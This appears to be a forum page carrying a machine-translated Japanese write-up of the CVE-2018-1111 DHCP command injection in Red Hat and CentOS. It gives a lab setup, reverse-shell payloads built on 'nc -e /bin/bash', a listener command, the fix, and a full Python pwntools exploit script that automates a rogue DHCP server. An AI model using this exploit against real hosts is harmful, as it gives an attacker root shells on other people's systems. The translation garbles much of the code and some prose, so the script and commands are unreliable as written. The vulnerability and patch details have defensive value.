Jump to content

0x01脆弱性の概要

最近、Red Hatはセキュリティアップデートを正式にリリースし、CVE-2018-1111の番号付けされたリモートコード実行の脆弱性を修正しました。攻撃者は、DHCPサーバーを偽造して応答パケットを送信し、Red Hatシステムを攻撃し、ルートアクセス許可を取得し、任意のコマンドを実行できます。

0x02影響バージョン

Red Hat Enterprise Linux Server 6

Red Hat Enterprise Linux Server 7

Centos 6

Centos 7

0x03脆弱性の詳細

DHCPは、主に内部ネットワークでの動的IPアドレス割り当てに使用されるLANのネットワークプロトコルです。 Red Hatが提供するDHCPクライアントパッケージDHClientのスクリプトは/etc/networkmanager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)および/etc/networkmanager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);このスクリプトは、NetworkManagerコンポーネントがDHCPサーバーからDHCP応答を受信するときに実行されます。

alt

単一の引用符を使用してパラメーター値を正常にエスケープし、コマンドの実行を実現します

-dhcp-option='252、x'nc -e /bin /bash 10.1.1.1 1337#'

0x04脆弱性の再発

は、再現するときに注意してください。

1.両方の仮想マシンをホスト専用モードに設定する必要があります

2。ホストモードLS8 Z(D/M0〜J2 F9 LでDHCPサービスを無効にする

環境

攻撃航空機:Kali 2018.2

被害者マシン:Centos7

Tsinghua Mirror SiteでCentos 7をダウンロードします

https://mirrors.tuna.tsinghua.edu.cn/centos/7.4.1708/isos/x86_64/centos-7-x86_64-dvd-1708.iso

VMware12.0

ネットワークをセットアップ

ここでは、VMware仮想マシンを使用して実装します。両方のシステムは、VMNET1ネットワークカード(ホストモードのみ)に接続され、ネットワークカードをオフにします。

DHCPサービス。

avjxkwh1db58992.jpg

次に、kali、dnsmasqでDHCPサーバーの構成を開始します

これは、DNSとDHCPを構成するためのコンパクトで便利なツールです。小さなネットワークに適しています。 DNS機能とオプションのDHCP機能を提供して、DNSサービスまたはDHCPサービスを迅速に構築します。

kali

を構成します

最初に、Kaliの下でIPを静的に構成し、ルートを追加します。コマンドは次のとおりです。

ifconfig eth0 192.168.71.5netmask

255.255.255.0

ルートAddDefaultGW192.168.71.5

まず、DNSMasqで使用する必要がある構成ファイル /etc/dnsmasq.confを作成します。コンテンツは次のとおりです。

vim /etc/dnssmassq.conf

バインドインターフェイス

インターフェイス=eth0

Interface=loを除く

DHCP-RANGE=192.168.71.10,192.168.71.30,22H

DHCP-Option=3,192.168.131.5

DHCP-Option=6,192.168.131.5

ログQueries

log-facility=/var/log/dnsmasq.log

パラメーター説明:

DHCP-RANGE:は、クライアントに割り当てるIPアドレスの範囲とリース時間を示します

DHCP-OPTION:は、DHCPクライアントに割り当てられたオプション情報を示します

log-facility:はロガーを表します

構成ファイルに含まれるオプションの値と意味は次のとおりです。

3:ゲートウェイアドレスオプションを設定します

6: DNSサーバーアドレスオプションを設定します

252:は、DHCPクライアントがプロキシ設定を構成するためのURLを提供しますwpad-proxy-url

ペイロードに関与するオプション252は、DHCPサーバーに252を使用して、ブラウザでDHCPサーバーに通知する機能を記述し、このオプションにリストされているURLからネットワーク上のプロキシ設定に関する情報を取得するためにコード252を使用して、プライベート使用予約部品の一部です。

ここでは、dnsmasq.confにdhcp-rangeを設定します

これは、192.168.71.10-192.168.71.30/24のIPアドレス範囲であり、リース時間は12時間です。

DHCP-Option 3ゲートウェイアドレスとDHCP-Option 6

DNSサーバーは、KaliローカルネットワークカードのIPアドレスに設定され、KaliのIPアドレスは静的IPです。 /etc/dnsmasq.conf構成ファイルを変更した後、DNSMASQサービスを直接開始することはできません。

DNSMASQを使用してDNSサーバーを偽造し、次のようにコマンドペイロードを実行します。

dnsmasq -dc dnsmasq.conf

-dhcp-option='252、malayke'nc -e /bin /bash 192.168.71.5 6666#'

jrq4wn5ffbk8993.jpg

ここで-dはデバッグモードを表し、-cは指定された構成ファイルを表し、DNSMASQサービスを実行します。 DNSMASQコマンドのより詳細な説明については、Man DNSMASQを使用して表示できます。

コマンド実行の効果は、NCを介してシェルを192.168.71.5のポート6666にバウンスすることです。したがって、KALIでNCポート監視を有効にする必要があります。コマンドは次のとおりです。

NC-L-P6666-V

beprim5qdbm8994.jpg

攻撃

IPアドレスを取得してネットワークカードを再起動するためにDHCPにCentosを設定しました!現時点では、CentOSはネットワークサービスを再起動し、DHCPサーバーが発行したIPアドレスを取得する必要があります。ここでは、IPアドレスが取得されたことがわかります192.168.71.18

コマンドは次のとおりです。

/etc/init.d/network再起動

umy0bfxs0me8995.jpg

IPが取得されたことが示されています。ここKaliで何が起こったのか見てみましょう

itwudoziovp8996.jpg

この時点で、KaliのNCでは、Centosシェルを取得でき、ルート許可があります

0x05脆弱性原理

単一の引用がスクリプトで逃げ出し、ルート許可を使用してスクリプトを直接実行しました。

dhcp-option=” 252、x’nc-e/bin/bash10.1.1.11337#”

0x06修復方法

#yum update dhclient

#RPM -QA -CHANGELOG DHCLIENT |グレップ

CVE-2018- Resolves:#1570898-CVE-2018-1111:を解析しないでください

エスケープキャラクターとしてのバックスラッシュ

ox7はexp

を利用します

#/usr/bin/python

#encoding=utf-8

PWNインポートから *

OSをインポートします

sysをインポートします

インポート時間

#著者: xyzz@chamd5.org

#時間: 20180520

IP='192.168.131.52'

ポート=1314

#context.log_level='debug'

DEF PWN(IP、ポート):

f=open( 'dnsmasq.conf'、 'w')

start=ip [:ip.rfind( '。')]+'。10'

end=ip [:ip.rfind( '。')]+'。30'

dnsmasq='' '

バインドインターフェイス

インターフェイス=eth0

Interface=loを除く

dhcp-range={start}、{end}、22h

dhcp-option=3、{ip}

dhcp-option=6、{ip}

ログQueries

log-facility=/var/log/dnsmasq.log

'' .format(ip=ip、start=start、end=end)

f.write(dnsmasq)

f.close()

cm=[]

cm.append( 'ifconfig eth0 {ip} netmask 255.255.255.0' .format(ip=ip)))

cm.append( 'ルート追加gw {ip}'。フォーマット(ip=ip))

cm.append( '' 'dnsmasq -dc dnsmasq.conf

-dhcp-option='252、' nc -e /bin /bash {ip} {port}

# '' '。フォーマット(ip=ip、port=port))

q=process( 'bash')

範囲のi(len(cm)-1):の場合

Q.sendline(cm [i])

time.sleep(1)

#time.sleep(100)

p=process( 'bash')

p.sendline( 'nc -l -p {port} -v'.format(port=port))

Q.Sendline(CM [-1])

time.sleep(3)

p.interactive()

#q.interactive()

__name__=='__main __' :の場合

PWN(IP、ポート)

24wn4mcn41k8997.jpg

fcaq3qqosd58998.jpg

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...